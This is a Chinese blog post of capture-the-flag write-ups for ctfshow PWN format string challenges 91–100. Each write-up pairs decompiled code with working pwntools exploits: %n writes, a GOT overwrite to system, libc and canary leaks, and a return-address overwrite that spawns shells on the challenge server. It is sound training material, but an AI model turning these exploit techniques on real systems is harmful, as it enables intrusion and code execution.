首页/文章/CTF PWN

Ctfshow PWN 之格式化字符串漏洞

对于格式化字符串漏洞部分的 WP

学习不是为了征服世界,而是为了不辜负每一次好奇心的出发。

pwn91

题目描述

开始格式化字符串了,先来个简单的吧

c
unsigned int ctfshow(){  char s[80]; // [esp+Ch] [ebp-5Ch] BYREF  unsigned int v2; // [esp+5Ch] [ebp-Ch]  v2 = __readgsdword(0x14u);  memset(s, c: 0, n: sizeof(s));  read(fd: 0, buf: s, nbytes: 0x50u);  printf(format: s);  printf(format: "daniu now is :%d!\n", daniu);  return __readgsdword(0x14u) ^ v2;}int __cdecl main(int argc, const char **argv, const char **envp){  init(a1: &argc);  logo();  ctfshow();  if ( daniu == 6 )  {    puts(s: "daniu praise you for a good job!");    system(command: "/bin/sh");  }  return 0;}
bash
[*] '/home/lmx/pwn/ctfshow/格式化字符串/091_pwn91/pwn'    Arch:       i386-32-little    RELRO:      Partial RELRO    Stack:      Canary found    NX:         NX enabled    PIE:        No PIE (0x8048000)    Stripped:   No

daniu 我们要让其成为 6 ,我们用任意写,先确定偏移

python
payload = b"AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p"p.sendline(payload)leak = p.recv()print(leak)
bash
\nAAAA0xff822bdc.0x50.0x804870a.0xe846b788.0x46.0xe846cd40.0x41414141.0x252e7025.0x70252e70\ndaniu now is :0!\n'

可以看见偏移是 7

python
#! /usr/bin/env python3from pwn import *e = ELF('./pwn')context.os = 'linux'context.arch = 'i386'addr = 0x0804B038p = process('./pwn')payload = p32(addr) + b'%2c%7$n'p.sendline(payload)p.interactive()

那么如此输出的 4 字节地址加 %2c 一共是 6 字节,我们就将 daniu 改成了 6

alt text

pwn92

题目描述

可能上一题没太看懂?来看下基础吧

c
int __fastcall main(int argc, const char **argv, const char **envp){  init(a1: argc, a2: argv, a3: envp);  logo();  puts(s: "Here is some example:");  example();  flagishere();  return 0;}unsigned __int64 example(){  int v1; // [rsp+4h] [rbp-Ch] BYREF  unsigned __int64 v2; // [rsp+8h] [rbp-8h]  v2 = __readfsqword(0x28u);  printf(format: "Hello CTFshow %%\n");  puts(s: "Hello CTFshow!");  printf(format: "Num : %d\n", 114514);  printf(format: "%s %s\n", "Format", "Strings");  printf(format: "%12c\n", 65);  printf(format: "%16s\n", "Hello");  printf(format: "%12c%n\n", 65, &v1);  printf(format: "%16s%n\n", "Hello!", &v1);  printf(format: "%2$s %1$s\n", "Format", "Strings");  printf(format: "%42c%1$n\n", &v1);  return __readfsqword(0x28u) ^ v2;}unsigned __int64 flagishere(){  FILE *stream; // [rsp+8h] [rbp-68h]  char format[10]; // [rsp+16h] [rbp-5Ah] BYREF  char s[72]; // [rsp+20h] [rbp-50h] BYREF  unsigned __int64 v4; // [rsp+68h] [rbp-8h]  v4 = __readfsqword(0x28u);  stream = fopen(filename: "/ctfshow_flag", modes: "r");  if ( stream == nullptr )  {    puts(s: "/ctfshow_flag: No such file or directory.");    exit(status: 0);  }  fgets(s, n: 64, stream);  printf(format: "Enter your format string: ");  __isoc99_scanf(a1: "%9s", format);  printf(format: "The flag is :");  printf(format, s);  return __readfsqword(0x28u) ^ v4;}

没什么好说的,我们直接 nc 连接输入 %s

alt text

pwm93

题目描述

emmm,再来一道基础原理?

c
int __fastcall main(int argc, const char **argv, const char **envp){  int v4; // [rsp+4h] [rbp-Ch] BYREF  unsigned __int64 v5; // [rsp+8h] [rbp-8h]  v5 = __readfsqword(0x28u);  init(a1: argc, a2: argv, a3: envp);  logo();  menu();  puts(s: "Enter your choice: ");  __isoc99_scanf(a1: "%d", &v4);  switch ( v4 )  {    case 1:      func1();      break;    case 2:      func2();      break;    case 3:      func3();      break;    case 4:      func4();      break;    case 5:      func5();      break;    case 6:      nothing_here();      break;    case 7:      exit0();      break;    default:      puts(s: "Invalid choice. Please enter a valid option.");      break;  }  return 0;}unsigned __int64 exit0(){  FILE *stream; // [rsp+8h] [rbp-58h]  char s[72]; // [rsp+10h] [rbp-50h] BYREF  unsigned __int64 v3; // [rsp+58h] [rbp-8h]  v3 = __readfsqword(0x28u);  stream = fopen(filename: "/ctfshow_flag", modes: "r");  if ( stream == nullptr )  {    puts(s: "/ctfshow_flag: No such file or directory.");    exit(status: 0);  }  fgets(s, n: 64, stream);  printf(format: "%s", s);  return __readfsqword(0x28u) ^ v3;}

输入 7 即可

pwm94

题目描述

好了,你已经学会1+1=2了,接下来继续加油吧

c
void __noreturn ctfshow(){  char buf[100]; // [esp+8h] [ebp-70h] BYREF  unsigned int v1; // [esp+6Ch] [ebp-Ch]  v1 = __readgsdword(0x14u);  while ( 1 )  {    memset(s: buf, c: 0, n: sizeof(buf));    read(fd: 0, buf, nbytes: 0x64u);    printf(format: buf);  }}void sys(){  system(command: "echo Write here!");}

我们先看一下偏移

python
payload = b'AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'p.sendline(payload)p.recvuntil(b'AAAA')leak = p.recv()print(leak)
bash
b'0xffa35f18.0x64.0x80486e5.0xe9086d40.0xe9086d87.0x41414141.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025\n'

可以看见偏移是 6,这里是有无限任意写的,那么我们直接修改add esp, 10h;jmp short loc_80486F6的值是不行的,因为程序运行时是 r-e没有写的权限

bash
 0x8048000  0x8049000 r-xp     1000       0 pwn 0x8049000  0x804a000 r--p     1000       0 pwn 0x804a000  0x804b000 rw-p     1000    1000 pwn0xf7d62000 0xf7d86000 r--p    24000       0 /usr/lib32/libc.so.60xf7d86000 0xf7f12000 r-xp   18c000   24000 /usr/lib32/libc.so.60xf7f12000 0xf7f96000 r--p    84000  1b0000 /usr/lib32/libc.so.60xf7f96000 0xf7f98000 r--p     2000  234000 /usr/lib32/libc.so.60xf7f98000 0xf7f99000 rw-p     1000  236000 /usr/lib32/libc.so.60xf7f99000 0xf7fa3000 rw-p     a000       0 [anon_f7f99]0xf7fbb000 0xf7fbd000 rw-p     2000       0 [anon_f7fbb]0xf7fbd000 0xf7fc1000 r--p     4000       0 [vvar]0xf7fc1000 0xf7fc3000 r--p     2000       0 [vvar_vclock]0xf7fc3000 0xf7fc6000 r-xp     3000       0 [vdso]0xf7fc6000 0xf7fc7000 r--p     1000       0 /usr/lib32/ld-linux.so.20xf7fc7000 0xf7fec000 r-xp    25000    1000 /usr/lib32/ld-linux.so.20xf7fec000 0xf7ffb000 r--p     f000   26000 /usr/lib32/ld-linux.so.20xf7ffb000 0xf7ffd000 r--p     2000   34000 /usr/lib32/ld-linux.so.20xf7ffd000 0xf7ffe000 rw-p     1000   36000 /usr/lib32/ld-linux.so.20xfffdc000 0xffffe000 rw-p    22000       0 [stack]

我们可以看见各个页的权限情况
那么我们怎么办呢?当调用 printf 时,会到 got 表找 printf 的真实地址,那么我们只要把 got 表里的地址改成 system[plt] 的值即可

asm
sub     esp, 0Chlea     eax, [ebp+buf]push    eax

那么显然,我们栈上的 buf 地址指向的地方就是我们的参数了,我们直接复用即可

python
#! /usr/bin/env python3from pwn import *elf = ELF('./pwn')context.os = 'linux'context.arch = 'i386'system_addr = elf.symbols['system']offset = 6p = process('./pwn')payload = fmtstr_payload(      offset,      {elf.got['printf']: elf.plt['system']},      write_size='byte'  )p.sendline(payload)p.sendline(b'/bin/sh')p.interactive()

pwn95

题目描述

加大了一点点难度,不过对你来说还是 so easy 吧

c
void __noreturn ctfshow(){  char buf[100]; // [esp+8h] [ebp-70h] BYREF  unsigned int v1; // [esp+6Ch] [ebp-Ch]  v1 = __readgsdword(0x14u);  while ( 1 )  {    memset(s: buf, c: 0, n: sizeof(buf));    read(fd: 0, buf, nbytes: 0x64u);    printf(format: buf);    fflush(stream: stdout);  }}

这里 system 函数没了,那么还是先确定偏移是 6,接下来我们泄露 printf 的真实地址,再用这个推算出 libc 里的 system 函数的地址

python
#! /usr/bin/env python3from pwn import *from LibcSearcher import *elf = ELF('./pwn')context.os = 'linux'context.arch = 'i386'offset = 6target_addr = 0xffffcb68p = remote('pwn.challenge.ctf.show',28226)#p = process('./pwn')printf_addr = elf.got['printf']p.recvuntil(b'* Hint  : This time program no system !                           \n')p.recvuntil(b'* *************************************                           \n')p.sendline(p32(printf_addr) + b'%6$s')leak = p.recv(8)print(leak)leak = leak[4:8]printf_addr = u32(leak)log.info('printf_addr: ' + hex(printf_addr))libc = LibcSearcher('printf', printf_addr)libc_base = printf_addr - libc.dump('printf')system_addr = libc_base + libc.dump('system')log.info('system_addr: ' + hex(system_addr))payload = fmtstr_payload(      offset,      {elf.got['printf']: system_addr},      write_size='byte'  )p.sendline(payload)p.sendline(b'/bin/sh')p.interactive()
bash
$ cat flagctfshow{5c4cd778-3ac2-48ae-8874-f1dfe9a17f41}

pwn96

c
int __cdecl __noreturn main(int argc, const char **argv, const char **envp){  char v3[64]; // [esp+0h] [ebp-90h] BYREF  char s[64]; // [esp+40h] [ebp-50h] BYREF  FILE *stream; // [esp+80h] [ebp-10h]  char *v6; // [esp+84h] [ebp-Ch]  int *p_argc; // [esp+88h] [ebp-8h]  p_argc = &argc;  setvbuf(stream: stdout, buf: nullptr, modes: 2, n: 0);  v6 = v3;  memset(s, c: 0, n: sizeof(s));  memset(s, c: 0, n: sizeof(s));  puts(s: asc_8048830);  puts(s: asc_80488A4);  puts(s: asc_8048920);  puts(s: asc_80489AC);  puts(s: asc_8048A3C);  puts(s: asc_8048AC0);  puts(s: asc_8048B54);  puts(s: "    * *************************************                           ");  puts(s: aClassifyCtfsho);  puts(s: "    * Type  : Format_String                                           ");  puts(s: "    * Site  : https://ctf.show/                                       ");  puts(s: "    * Hint  : Flag on the stack!                                      ");  puts(s: "    * *************************************                           ");  puts(s: "It's time to learn about format strings!");  puts(s: "Where is the flag?");  stream = fopen(filename: "/ctfshow_flag", modes: "r");  if ( stream == nullptr )  {    puts(s: "/ctfshow_flag: No such file or directory.");    exit(status: 0);  }  fgets(s: v3, n: 64, stream);  while ( 1 )  {    printf(format: "$ ");    fgets(s, n: 64, stream: stdin);    printf(format: s);  }}

程序意思还是很好理解的,那我们本地调试一下

bash
 esp 0xffffcb50 —▸ 0xffffcba8 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'

可以看见我们的栈顶指针是 cb50

bash
0xffffcb68 ◂— 'ctfshow{local_test_flag_for_pwn96}\n'

cb68 放着我们的 flag

bash
pwndbg> search -p 0xffffcb68Searching for a pointer-width integer: b'h\xcb\xff\xff'libc.so.6       0xf7dd9788 push 0x8bffffcb[stack]         0xffffcbec 0xffffcb68

cbec 指向 cb68 那我们计算偏移 0xec-0x50 / 439

python
#! /usr/bin/env python3from pwn import *elf = ELF('./pwn')context.os = 'linux'context.arch = 'i386'p = remote('pwn.challenge.ctf.show',28257)p.recvuntil(b'$ ')payload = b'%39$s'p.sendline(payload)leak = p.recv()print(leak)
bash
[+] Opening connection to pwn.challenge.ctf.show on port 28257: Doneb'ctfshow{07e90ec1-b515-4dd2-89e7-5347fd20c6d0}\n\n$ '[*] Closed connection to pwn.challenge.ctf.show port 28257

pwn97

题目描述

覆写某个值满足某条件好像就可以了

c
 fgets(s, n: 64, stream: stdin);  if ( strstr(haystack: s, needle: "shutdown") != nullptr )  {    puts(s: "See you~");    exit(status: 1);  }  if ( strstr(haystack: s, needle: "cat /ctfshow_flag") == nullptr )  {    puts(s: "Here you are:\n");    printf(format: s);  }  get_flag();  return 0;}int get_flag(){  if ( check == 0 )    return puts(s: "Permission denied.");  puts(s: "Your privileges have been elevated to 'root'.\n#cat /ctfshow_flag");  return flag();}

我们让 check != 0 即可

python
#! /usr/bin/env python3from pwn import *elf = ELF('./pwn')context.os = 'linux'context.arch = 'i386'p = remote('pwn.challenge.ctf.show',28213)payload = p32(0x0804B040) + b'%11$n'p.recvuntil(b'$')p.sendline(payload)p.interactive()

pwn98

题目描述

Canary?有没有办法绕过呢?

c
unsigned int ctfshow(){  char s[40]; // [esp+4h] [ebp-34h] BYREF  unsigned int v2; // [esp+2Ch] [ebp-Ch]  v2 = __readgsdword(0x14u);  gets(s);  printf(format: s);  gets(s);  return __readgsdword(0x14u) ^ v2;}

我们确认偏移 5 并泄露 canary,程序中有 /bin/shsystem

python
#!/usr/bin/env python3from pwn import *context.binary = elf = ELF('./pwn')context.os = 'linux'context.arch = 'i386'p = remote('pwn.challenge.ctf.show', 28176)def wait_logo(p):    p.recvuntil(b'* Hint  : Find the vulnerability and then exploit it !            \n')    p.recvuntil(b'* *************************************                           \n')wait_logo(p)p.sendline(b'%15$p.END')canary = int(p.recvuntil(b'.END', drop=True), 16)bin_sh = next(elf.search(b'/bin/sh'))payload = flat(    b'A' * 40,    p32(canary),    b'B' * 8,    p32(0),    p32(elf.plt['system']),    p32(0),    p32(bin_sh),)p.sendline(payload)p.interactive()
bash
$ cat c*ctfshow{6e68beea-541e-446f-943e-d54abcb7889c}

pwn99

题目描述

fmt盲打(不是忘记放附件,是本身就没附件!!!)

连接靶机提示 flag 在栈上

python
#!/usr/bin/env python3from pwn import *import releaks = b''for i in range(1, 80):    p = remote('pwn.challenge.ctf.show', 28163)    p.clean(timeout=1)    payload = f"%{i}$p.END".encode()    p.sendline(payload)    data = p.recvall(timeout=2)    leaks += data    print(i, data)    p.close()print(leaks)
python
#! /usr/bin/env python3from pwn import *import releaks = b'上一个收到的 leaks'vals = re.findall(rb'0x[0-9a-fA-F]+|\(nil\)', leaks)for idx, x in enumerate(vals, 1):    if x == b'(nil)':        print(idx, x)        continue    v = int(x, 16)    bs = v.to_bytes(8, 'little', signed=False)    printable = bytes(c for c in bs if 32 <= c <= 126)    print(idx, x, '=>', bs, printable)

alt text

pwn100

题目描述

有些东西好像需要一定条件

c
int __fastcall __noreturn main(int argc, const char **argv, const char **envp){  int v3; // [rsp+Ch] [rbp-14h] BYREF  int v4; // [rsp+10h] [rbp-10h] BYREF  unsigned int v5; // [rsp+14h] [rbp-Ch]  unsigned __int64 v6; // [rsp+18h] [rbp-8h]  v6 = __readfsqword(0x28u);  initial(a1: argc, a2: argv, a3: envp);  whattime();  v3 = 0;  v4 = 0;  while ( 1 )  {    while ( 1 )    {      while ( 1 )      {        menu();        v5 = get_int();        if ( v5 != 2 )          break;        fmt_attack(a1: &v3);      }      if ( v5 > 2 )        break;      if ( v5 == 1 )        leak(a1: &v4);    }    if ( v5 == 3 )      get_flag();    if ( v5 == 4 )    {      puts(s: "Bye!");      exit(status: 0);    }  }}unsigned __int64 __fastcall fmt_attack(int *a1){  char format[56]; // [rsp+10h] [rbp-40h] BYREF  unsigned __int64 v3; // [rsp+48h] [rbp-8h]  v3 = __readfsqword(0x28u);  memset(format, 0, 0x30u);  if ( *a1 > 0 )  {    puts(s: "No way!");    exit(status: 1);  }  *a1 = 1;  read_n(a1: format, a2: 40);  printf(format);  return __readfsqword(0x28u) ^ v3;}void __noreturn get_flag(){  int fd; // [rsp+Ch] [rbp-64h]  char s2[88]; // [rsp+10h] [rbp-60h] BYREF  unsigned __int64 v2; // [rsp+68h] [rbp-8h]  v2 = __readfsqword(0x28u);  memset(s2, 0, 0x50u);  puts(s: "Flag is here ! Come on !!");  read_n(a1: s2, a2: 64);  if ( strncmp(s1: secret, s2, n: 0x40u) == 0 )  {    close(fd: 1);    fd = open(file: "/flag", oflag: 0);    read(fd, buf: s2, nbytes: 0x50u);    printf(format: s2);    exit(status: 0);  }  puts(s: "No way!");  exit(status: 1);}unsigned __int64 __fastcall leak(int *a1){  void *buf; // [rsp+10h] [rbp-10h] BYREF  unsigned __int64 v3; // [rsp+18h] [rbp-8h]  v3 = __readfsqword(0x28u);  if ( *a1 > 0 )  {    puts(s: "No way!");    exit(status: 1);  }  *a1 = 1;  read_n(a1: &buf, a2: 8);  write(fd: 1, buf, n: 1u);  return __readfsqword(0x28u) ^ v3;}

在我们 call printf

bash
 ► 0x555555400ecc <fmt_attack+118>    call   printf@plt                  <printf@plt>        format: 0x7fffffffd9b0 ◂— 0xa61616161 /* 'aaaa\n' */        vararg: 0x7fffffffd9b0 ◂— 0xa61616161 /* 'aaaa\n' */00:0000│ rsp     0x7fffffffd9a0 —▸ 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2f0 —▸ 0x555555400000 ◂— jg 0x55555540004701:0008│-048     0x7fffffffd9a8 —▸ 0x7fffffffda0c ◂— 102:0010│ rdi rsi 0x7fffffffd9b0 ◂— 0xa61616161 /* 'aaaa\n' */03:0018│-038     0x7fffffffd9b8 ◂— 0

我们的 rax 0x7fffffffda0c1 ,能看出来偏移是 6+17 那我们输入 %7$n 就能修改为 0 持续利用

python
#! /usr/bin/env python3from pwn import *elf = ELF('./pwn')context.os = 'linux'context.arch = 'amd64'context.terminal = ['tmux', 'splitw', '-h']p = remote('pwn.challenge.ctf.show', 28287)#p = process('./pwn')def whattime():    p.recvuntil(b'What time is it :')    p.sendline(b'00 00 00')whattime()def fmt(payload):    p.recvuntil(b'>>')    p.sendline(b'2')    p.sendline(payload)            fmt(b'%7$n-%17$p.END')p.recvuntil(b'-')leak = p.recvuntil(b'.END', drop=True)leak = int(leak, 16)base = leak - 118 - 0xFB6print(hex(leak))print(hex(base))fmt(b'%7$n-%16$p.END')p.recvuntil(b'-')leak = p.recvuntil(b'.END', drop=True)leak = int(leak, 16)ret = leak - 0x28print(hex(ret))p.recvuntil(b'>>')p.sendline(b'2')target = base + elf.sym['get_flag'] + 0x6epayload = f'%{target & 0xffff}c%10$hn'.encode().ljust(16, b'\x00') + p64(ret)p.sendline(payload)p.interactive()

开了 PIE 首先泄露基址,之后泄露 ret_addr ,之后修改返回地址低二字节到后门函数内

asm
call    closemov     esi, 0          ; oflag         <====lea     rdi, aFlag      ; "/flag"mov     eax, 0call    open

alt text

许可协议

本文采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议,转载请注明出处。

读者回信

正在翻开留言页...